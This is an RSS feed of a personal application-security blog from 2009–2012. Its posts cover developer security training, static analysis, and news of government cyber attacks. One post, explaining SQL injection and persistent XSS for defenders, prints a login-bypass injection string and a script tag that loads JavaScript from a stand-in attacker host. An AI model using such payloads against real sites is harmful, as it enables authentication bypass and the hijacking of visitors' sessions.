<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Eric Friese &#187; IT Security</title>
	<atom:link href="http://ericfriese.com/category/it-security/feed/" rel="self" type="application/rss+xml" />
	<link>http://ericfriese.com</link>
	<description>Software Security and Other Stuff</description>
	<lastBuildDate>Fri, 23 Mar 2012 20:44:43 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Software Security Education</title>
		<link>http://ericfriese.com/2012/03/08/software-security-education-2/</link>
		<comments>http://ericfriese.com/2012/03/08/software-security-education-2/#comments</comments>
		<pubDate>Thu, 08 Mar 2012 02:54:31 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[IT Security]]></category>

		<guid isPermaLink="false">http://ericfriese.com/?p=128</guid>
		<description><![CDATA[Most of my time is spent talking with customers about using technology to help fix software vulnerabilities. Technology is a very small piece of a software assurance program. Buying static analysis or dynamic analysis products just shows you your problems. The more human elements around fixing and preventing vulnerabilities can&#8217;t be bought via a technology buy. The [...]]]></description>
			<content:encoded><![CDATA[<p>Most of my time is spent talking with customers about using technology to help fix software vulnerabilities. Technology is a very small piece of a software assurance program. Buying static analysis or dynamic analysis products just shows you your problems. The more human elements around fixing and preventing vulnerabilities can&#8217;t be bought via a technology buy.</p>
<p>The root cause of software security vulnerabilities typically start with developers (minus issues created by poorly configured production environments and such), but it&#8217;s really not their fault. We train software developers to think functionally. If I click this button, this action occurs. What we don&#8217;t teach developers is what if a user clicks the button repeatedly? How could an attacker misuse/abuse an application to make it do things outside of the intended design? Most universities are not teaching secure coding. If they are, it&#8217;s usually graduate level. Have you looked at one of those &#8220;Lean x Language in 24 Hours&#8221; books? Some of the examples have security vulnerabilities. I can fully appreciate not wanting to overwhelm a new developer, but the security education has to come at some point. As usual, security is something that gets bolted on later.</p>
<p>Educating developers on software security is an interesting topic because not many people are trying to solve the problem. The focus is more on buying software or consulting services. Today if you want software security training you&#8217;re limited to consultant lead classes, CBTs, or self study through the handful of books available. Consultant lead classes tend to be Death by PowerPoint and CBTs are really just another form of Death by PowerPoint. Early in my training career, I delivered mostly PowerPoint training with some hands-on exercises. What I found was that developers didn&#8217;t retain enough information to fix their code. I added more hands-on exercises and retention got much better. I already knew that developers learn best by doing, but I didn&#8217;t realize just how much a difference it would make.</p>
<p>I haven&#8217;t tested this theory, but I believe the absolute best way to train developers would be through a software security project over a few weeks. Start with an idea for an application and move through each step of the software development life cycle with the current security activities. Include security in the requirements phase and architecture design. Do threat analysis and feed the results into the architecture design. Write code and perform code reviews. Test code functionally, but also include misuse/abuse cases. Grab some vulnerability analysis tools and run scans. Write deployment documentation including security and harden production environment. Application development with security from soup to nuts. After going through the exercise, developers will be much better equipped to replicate the experience.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://ericfriese.com/2012/03/08/software-security-education-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SQL Injection and Persistent Cross Site Scripting</title>
		<link>http://ericfriese.com/2012/01/05/sql-injection-and-persistent-cross-site-scripting/</link>
		<comments>http://ericfriese.com/2012/01/05/sql-injection-and-persistent-cross-site-scripting/#comments</comments>
		<pubDate>Thu, 05 Jan 2012 14:16:56 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[IT Security]]></category>

		<guid isPermaLink="false">http://ericfriese.com/?p=122</guid>
		<description><![CDATA[A news article came through my twitter feed this morning about a new SQL Injection attack that has affected over 1M web sites: http://www.net-security.org/secworld.php?id=12169 The attack inserts a malicious JavaScript tag into your page redirecting your users to the attacker&#8217;s site. This is probably just semantics, but they are missing another vulnerability here: persistent cross [...]]]></description>
			<content:encoded><![CDATA[<p>A news article came through my twitter feed this morning about a new SQL Injection attack that has affected over 1M web sites:</p>
<p><a href="http://www.net-security.org/secworld.php?id=12169">http://www.net-security.org/secworld.php?id=12169</a></p>
<p>The attack inserts a malicious JavaScript tag into your page redirecting your users to the attacker&#8217;s site. This is probably just semantics, but they are missing another vulnerability here: persistent cross site scripting.</p>
<p>For those not aware of what SQL Injection is, this vulnerability occurs when unvalidated data is mixed with SQL logic to change the nature of a SQL query. That may be a little confusing, so here&#8217;s an example. Let&#8217;s say you have a login page that has two text boxes: one for a username and one for a password. When the user clicks submit, the information is put into a SQL query to see if the user is exists:</p>
<blockquote><p>SELECT username FROM users WHERE username=&#8217;username&#8217; AND password=&#8217;password&#8217;;</p>
</blockquote>
<p>That looks pretty simple. If I put &#8220;eric&#8221; as the username and &#8220;1234&#8243; as the password, the query looks like:</p>
<blockquote><p>SELECT username FROM users WHERE username=&#8217;eric&#8217; AND password=&#8217;1234&#8242;;</p>
</blockquote>
<p>But what if I put &#8220;1234&#8242; or &#8217;1&#8242;=&#8217;1&#8243; in the password field?</p>
<blockquote><p>SELECT username FROM users WHERE username=&#8217;username&#8217; AND password=&#8217;1234&#8242; or &#8217;1&#8242;=&#8217;1&#8242;;</p>
</blockquote>
<p>For the non-SQL folks, that will retrieve all records in user table, because it&#8217;s asking &#8220;give me all rows where username=x and password=x or when 1=1&#8243;. 1 will always equal 1, so every row will be returned. In the case of this attack, attackers were able to insert a script tag into the database that eventually gets inserted into the HTML of the site. That is where persistent cross site scripting comes in.</p>
<p>Cross site scripting (or XSS for short) is where untrusted/unvalidated data is inserted into the page. There are three main types of XSS. but let&#8217;s focus on the persistent flavor. Persistent XSS occurs when data is retrieved from the database and inserted into the page without being validated and encoded. What&#8217;s the problem with that? This is always a hard pill for developers to swallow, but your database is not a trusted store for data. See the above example for why!&nbsp;</p>
<p>To demonstrate persistent XSS, let&#8217;s say that the content of a blog article is stored in your application&#8217;s database. You want to post that article on your blog, so that data is pulled out of the database and inserted into the page. The article content looks like this:</p>
<blockquote><p>The Auburn Tigers successfully routed the University of Virginia in the Chick-fil-a bowl! The Tigers will graduate very few seniors, so let&#8217;s hope for a better season next year.</p>
</blockquote>
<p>Inserting that directly into a page doesn&#8217;t look bad, but if I use the SQL Injection attack above to edit the content of this article I could attack your users:</p>
<blockquote><p>The Auburn Tigers successfully routed the University of Virginia in the Chick-fil-a bowl! The Tigers will graduate very few seniors, so let&#8217;s hope for a better season next year. &lt;script src=&#8221;http://evilhacker.ru/youjustgothacked.js&#8221;&gt;</p>
</blockquote>
<p>When any user visits the page with the article, the JavaScript from evilhacker.ru will execute. This could do many things, but the most popular is redirecting to a malicious site where the attacker has control over the entire session.&nbsp;</p>
<p>So the SQL Injection sets up the attack, but the persistent XSS is actually the vulnerability being exploited here. If the persistent XSS was fixed, then no redirect. SQL Injection is still a serious vulnerability (#1 on OWASP Top 10) that should be fixed immediately.</p>
<p>So how do you fix these vulnerabilities? I can write entire blog posts for these attacks&#8230;but here&#8217;s a quick explanation.</p>
<p>First, a word about input validation. NEVER trust data that comes from a source you don&#8217;t control. Data from a user, web service, database, external system, are outside the sphere of influence of the application, so VALIDATE the data.&nbsp;</p>
<p>The best way to fix SQL Injection is to use parameterized queries. Parameterization is basically putting place holders into your SQL query, and the letting your platform insert the data for you. This will fix the vast majority of SQL Injection issues. Every platform is a little different, so try googling &#8220;parameterizing SQL queries&#8221; for your specific language to get an example.</p>
<p>For cross site scripting, the best fix is using encoding. If the data is being inserted into HTML, use HTML encoding. This will encode all of the malicious characters, not allowing them to be executed. Not all encoding libraries are good enough. Check out the <a href="https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API">OWASP ESAPI</a> or the <a href="http://wpl.codeplex.com/">Anti-XSS Library</a> from Microsoft if you&#8217;re using .NET.</p>
]]></content:encoded>
			<wfw:commentRss>http://ericfriese.com/2012/01/05/sql-injection-and-persistent-cross-site-scripting/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>.gov For Sale, Lightly Used</title>
		<link>http://ericfriese.com/2011/01/21/gov-for-sale-lightly-used/</link>
		<comments>http://ericfriese.com/2011/01/21/gov-for-sale-lightly-used/#comments</comments>
		<pubDate>Sat, 22 Jan 2011 02:33:03 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[IT Security]]></category>
		<category><![CDATA[application security]]></category>

		<guid isPermaLink="false">http://ericfriese.com/2011/01/21/gov-for-sale-lightly-used/</guid>
		<description><![CDATA[So this article made my Friday! I tracked down the actual site where the sites are for sale. All joking aside. this is serious. These sites are trusted sites by a large amount of people; especially the Army sites. Those sites give attackers direct access to DoD internal networks. This just underscores the importance of [...]]]></description>
			<content:encoded><![CDATA[<p>So this article <a href="http://krebsonsecurity.com/2011/01/ready-for-cyberwar/">made</a> my Friday! I tracked down the <a href="http://www.srblche.com">actual site</a> where the sites are for sale. All joking aside. this is serious. These sites are trusted sites by a large amount of people; especially the Army sites. Those sites give attackers direct access to DoD internal networks. This just underscores the importance of application security and how much work we have ahead of us.</p>
<p><img src="http://krebsonsecurity.com/wp-content/uploads/2011/01/dotmilorggovsale1.jpg" /></p>
]]></content:encoded>
			<wfw:commentRss>http://ericfriese.com/2011/01/21/gov-for-sale-lightly-used/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Building a Cyber Army</title>
		<link>http://ericfriese.com/2011/01/10/building-a-cyber-army/</link>
		<comments>http://ericfriese.com/2011/01/10/building-a-cyber-army/#comments</comments>
		<pubDate>Mon, 10 Jan 2011 16:41:42 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[IT Security]]></category>
		<category><![CDATA[software security]]></category>

		<guid isPermaLink="false">http://ericfriese.com/2011/01/10/building-a-cyber-army/</guid>
		<description><![CDATA[Recently saw an article about Estonia’s efforts to build a volunteer cyber army. Very cool idea. After being attacked and seeing how it affected their government, I could see why their citizens with security backgrounds would be willing to get involved. The article poses the questions of could this work in the US? The article [...]]]></description>
			<content:encoded><![CDATA[<p>Recently saw an article about Estonia’s efforts to build a <a href="http://www.net-security.org/secworld.php?id=10404">volunteer cyber army</a>. Very cool idea. After being attacked and seeing how it affected their government, I could see why their citizens with security backgrounds would be willing to get involved. The article poses the questions of could this work in the US? The article leans toward no, but I would say yes.</p>
<p>It is true that many techie types are suspicious of government, but I believe you could find a core group of people who would be willing to volunteer. They could form a new reserve service under USCYBERCOM using same model they have for the reserves now: train one weekend a month and be ready if needed. One caveat, no required PT! That would likely be a deal breaker for many. Hacking is a couch sport, so being able to run 3 miles or do 100 pushups doesn’t help. Multitasking skills, such as attacking targets while eating Cheetos and watching Family Guy, would be a better fit.</p>
<p>On another note, I think this line of progress will lead to a large swell in the size of the security community. When software development was young, you couldn’t just pluck some guy off the street and have him writing code in a couple of weeks. Now, IDEs and frameworks have matured so much that you can teach monkeys how to write code. Over time, the tools used for attacking/protecting targets will get better. You will still need good people planning things, but you will see more worker bees with less experience/education in security actually doing the work. </p>
]]></content:encoded>
			<wfw:commentRss>http://ericfriese.com/2011/01/10/building-a-cyber-army/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Code For America</title>
		<link>http://ericfriese.com/2011/01/05/code-for-america/</link>
		<comments>http://ericfriese.com/2011/01/05/code-for-america/#comments</comments>
		<pubDate>Thu, 06 Jan 2011 02:53:01 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[IT Security]]></category>

		<guid isPermaLink="false">http://ericfriese.com/?p=112</guid>
		<description><![CDATA[I was reading an article this week in Fast Company called How an Army of Techies Is Taking on City Hall about a new non-profit called &#8220;Code For America&#8221;. It&#8217;s a similar model to Teach For America where graduating college seniors work as teachers in poor neighborhoods. The focus is writing software for municipal governments [...]]]></description>
			<content:encoded><![CDATA[<p>I was reading an article this week in Fast Company called <em><a href="http://www.fastcompany.com/magazine/151/icitizen-bonus.html">How an Army of Techies Is Taking on City Hall</a></em> about a new non-profit called &#8220;Code For America&#8221;. It&#8217;s a similar model to Teach For America where graduating college seniors work as teachers in poor neighborhoods. The focus is writing software for municipal governments so that citizens get more bank for their tax bucks. This is a fantastic idea and I applaud their Founder, Jennifer Pahlka.</p>
<p>In the article they allude to sharing code between cities. Code sharing is always beneficial, but thinking about graduating seniors writing and and sharing code makes me think security nightmare. Only a hand full of colleges are doing a decent job of educating future developers on writing secure code. I hope that Mrs. Pahlka has some security expertise lined up&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://ericfriese.com/2011/01/05/code-for-america/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Apps to Hack</title>
		<link>http://ericfriese.com/2010/08/31/apps-to-hack/</link>
		<comments>http://ericfriese.com/2010/08/31/apps-to-hack/#comments</comments>
		<pubDate>Tue, 31 Aug 2010 20:49:53 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[IT Security]]></category>

		<guid isPermaLink="false">http://ericfriese.com/?p=109</guid>
		<description><![CDATA[Great post to bookmark&#8230;this guy has a great list of sites out there that you can practice on. http://securitythoughts.wordpress.com/2010/03/22/vulnerable-web-applications-for-learning/ Hack away.]]></description>
			<content:encoded><![CDATA[<p>Great post to bookmark&#8230;this guy has a great list of sites out there that you can practice on.</p>
<p>http://securitythoughts.wordpress.com/2010/03/22/vulnerable-web-applications-for-learning/</p>
<p>Hack away.</p>
]]></content:encoded>
			<wfw:commentRss>http://ericfriese.com/2010/08/31/apps-to-hack/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cyber Attacks Against DoD Up in 2009</title>
		<link>http://ericfriese.com/2009/11/20/cyber-attacks-against-dod-up-in-2009/</link>
		<comments>http://ericfriese.com/2009/11/20/cyber-attacks-against-dod-up-in-2009/#comments</comments>
		<pubDate>Fri, 20 Nov 2009 23:55:01 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[IT Security]]></category>
		<category><![CDATA[cybersecurity]]></category>

		<guid isPermaLink="false">http://ericfriese.com/2009/11/20/cyber-attacks-against-dod-up-in-2009/</guid>
		<description><![CDATA[So says an article over at networkworl.com. The crazy part is that number doesn’t include the attacks that go unnoticed. The DoD, as well as the rest of the world, is still behind the curve on detecting application attacks. I’m betting the numbers in this report should be much large.]]></description>
			<content:encoded><![CDATA[<p>So says an article over at <a href="http://www.networkworld.com/news/2009/112009-cyberattacks-on-us-military-jump.html">networkworl.com</a>. The crazy part is that number doesn’t include the attacks that go unnoticed. The DoD, as well as the rest of the world, is still behind the curve on detecting application attacks. I’m betting the numbers in this report should be much large.</p>
]]></content:encoded>
			<wfw:commentRss>http://ericfriese.com/2009/11/20/cyber-attacks-against-dod-up-in-2009/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Value of Static Analysis</title>
		<link>http://ericfriese.com/2009/07/29/the-value-of-static-analysis/</link>
		<comments>http://ericfriese.com/2009/07/29/the-value-of-static-analysis/#comments</comments>
		<pubDate>Wed, 29 Jul 2009 14:17:06 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[IT Security]]></category>
		<category><![CDATA[dynamic analysis]]></category>
		<category><![CDATA[Fortify]]></category>
		<category><![CDATA[static analysis]]></category>

		<guid isPermaLink="false">http://ericfriese.com/2009/07/29/the-value-of-static-analysis/</guid>
		<description><![CDATA[On the Daily Dave mailing list there’s an interesting discussion about the value of static analysis. For those unaware of what static analysis is, static analysis is analyzing source code to find potential vulnerabilities. Like every technology, static analysis has it’s pros and cons. I don’t actually subscribe to the mail list (I only use [...]]]></description>
			<content:encoded><![CDATA[<p>On the <a href="http://seclists.org/dailydave/2009/q3/0044.html">Daily Dave</a> mailing list there’s an interesting discussion about the value of static analysis. For those unaware of what static analysis is, static analysis is analyzing source code to find potential vulnerabilities. Like every technology, static analysis has it’s pros and cons. I don’t actually subscribe to the mail list (I only use RSS), so I’m going to write a little about my views on static analysis.</p>
<p><strong>Pros</strong>    <br />In the security world, the big fight is between static versus dynamic analysis. By dynamic, most people talk about penetration testing. The results from automated penetration tools usually contain low amounts of false positives, but your test is dependant on the tests ran by the tool. Pen-testing tools can and do miss vulnerabilities. Static analysis on the other scans ALL code. If there are vulnerabilities in the corners of your application that are typically not used, then static analysis has a higher probability of finding these vulnerabilities. In addition to finding obscure vulnerabilities, static analysis can also find more categories of vulnerabilities. Automated pen-test tools are limited because they can only see http responses. Static analysis tools can apply rules that are more focused on your development platforms.</p>
<p><strong>Cons     <br /></strong>The biggest argument against static analysis is it produces too many false positives. The common misconception here is that the tool is not saying “this is vulnerable”, the tool is actually saying “this is potentially vulnerable and needs to be audited to be sure”. Yes this creates a lot of work, but this argument really only applies to first time scans. Most of the major static analysis applications are rule based and give better results over time. After the initial triage, you suppress false positives and create custom rules to make the scan more context specific. For example, on the mailing list someone referred to static analysis tools producing false positives on custom memory management libraries. This is true, out of the box most scanners are going to flag this because they don’t know what the library does and want human eyes to verify. If you’re using Fortify SCA, you can write a custom rule to eliminate those false positives in the future. Because I’m a Fortify consultant, I know that the more you tailor our static analysis software to your application the better your results set. Static analysis shouldn’t be a one shot scan, it should be used continually throughout development and testing.</p>
<p><strong>Conclusion     <br /></strong>In the end, it’s not static analysis versus dynamic analysis. In reality, you should be using BOTH. Static analysis is going to give you a sense of how secure you code is. Penetration testing is going to find easily exploitable vulnerabilities. If you are concerned about false positives with static analysis, check out Fortify Program Trace Analyzer (PTA). PTA does static analysis automatically as you are doing functional testing. The results are extremely conservative. If PTA finds a vulnerability, you can usually take it to the bank.</p>
]]></content:encoded>
			<wfw:commentRss>http://ericfriese.com/2009/07/29/the-value-of-static-analysis/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>U.S. and South Korea Victim of DOS Attack</title>
		<link>http://ericfriese.com/2009/07/08/us-and-south-korea-victim-of-dos-attack/</link>
		<comments>http://ericfriese.com/2009/07/08/us-and-south-korea-victim-of-dos-attack/#comments</comments>
		<pubDate>Wed, 08 Jul 2009 14:56:05 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[IT Security]]></category>
		<category><![CDATA[cyberspace]]></category>
		<category><![CDATA[Denial of Service]]></category>
		<category><![CDATA[DOS]]></category>
		<category><![CDATA[North Korea]]></category>

		<guid isPermaLink="false">http://ericfriese.com/2009/07/08/us-and-south-korea-victim-of-dos-attack/</guid>
		<description><![CDATA[AP is reporting that the Treasury Department, Secret Service, and “other” agencies were the victim of a Denial of Service attack over the 4th of July weekend. The South Korean government was also attacked, fueling speculation that the attack came from North Korea. Is North Korea getting smart? Even though they are making advances in [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://finance.yahoo.com/news/Government-Web-sites-attacked-apf-1342411279.html?x=0&amp;.v=5">AP</a> is reporting that the Treasury Department, Secret Service, and “other” agencies were the victim of a Denial of Service attack over the 4th of July weekend. The South Korean government was also attacked, fueling speculation that the attack came from North Korea.</p>
<p>Is North Korea getting smart? Even though they are making advances in their missile technology, they would still get spanked if they went to war with pretty much any of the major nations. In cyberspace though, they could rival the abilities of the major nations.</p>
<p>Even with a small group of hackers, North Korea could plan massive attacks against pretty much anyone they want. Imagine them developing or purchasing a botnet, then using this botnet to launch a Denial of Service attack. These attacks are nearly impossible to block and it would be difficult to trace the attack back to North Korea. </p>
<p>Given the success of this attack, I would expect to see more of this from North Korea in the future. This further underscores the importance of the DoD cyberspace initiatives.</p>
<p><strong>Update: Plot Thickens</strong></p>
<p>There’s <a href="http://www.google.com/hostednews/ap/article/ALeqM5icTKBW9_fm-oKDzns75BI-ykokSwD99A28U01">more info out</a> now that says this could be a botnet and that some South Koreans are being hit with a virus. The attack is also ongoing…this should be interesting.&#160; </p>
]]></content:encoded>
			<wfw:commentRss>http://ericfriese.com/2009/07/08/us-and-south-korea-victim-of-dos-attack/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Security Training for Developers</title>
		<link>http://ericfriese.com/2009/06/11/security-training-for-developers/</link>
		<comments>http://ericfriese.com/2009/06/11/security-training-for-developers/#comments</comments>
		<pubDate>Thu, 11 Jun 2009 17:47:06 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[IT Security]]></category>
		<category><![CDATA[software security developers training]]></category>

		<guid isPermaLink="false">http://ericfriese.com/2009/06/11/security-training-for-developers/</guid>
		<description><![CDATA[I read an interesting question this morning concerning what to teach developers. Should organizations spend time teaching developers hacking techniques or writing secure software? If both, how should they mix it up? I’m happy to hear questions like this because it’s putting the focus where it needs to be: on developers. For far too long [...]]]></description>
			<content:encoded><![CDATA[<p>I read an interesting question this morning concerning what to teach developers. Should organizations spend time teaching developers hacking techniques or writing secure software? If both, how should they mix it up?</p>
<p>I’m happy to hear questions like this because it’s putting the focus where it needs to be: on developers. For far too long security has been focused on the network. I can’t remember where the statistic came from, but I think ~75% of breaches last year were application based. Training developers to stop vulnerabilities early in the SDLC is the best way of shrinking that percentage.</p>
<p>Teaching developers about hacking techniques is important. I believe Sun Tzu said “know thy enemy” and that was hundreds of years ago. With that being said, developers do not need to know everything about hacking techniques. If an individual developer is interested in software security, encourage them to learn more. This type of developer is referred to as a “satellite” in <a href="http://www.bsi-mm.com/">Building Security In Maturity Model (BIMM)</a>. Satellites can be extremely useful in raising the awareness of software security and sharing ways to stop vulnerabilities. In BIMM, they are a crucial part of the success of the Software Security Group (SSG). </p>
<p>Every developer should have a crash course in software security covering the consequences of writing insecure software and the most common attacks. I think the focus should be on writing better software; specifically writing reusable software that emphasizes security. Keeping developers trained on writing secure software is difficult, so its better to take them out of the loop. Try to break your applications up into pieces and use secure frameworks to move information between the layers. This is a much better approach than relying on every developer to know how to prevent security vulnerabilities.</p>
]]></content:encoded>
			<wfw:commentRss>http://ericfriese.com/2009/06/11/security-training-for-developers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using apc
Page Caching using apc

Served from: ericfriese.com @ 2012-05-20 19:41:42 -->
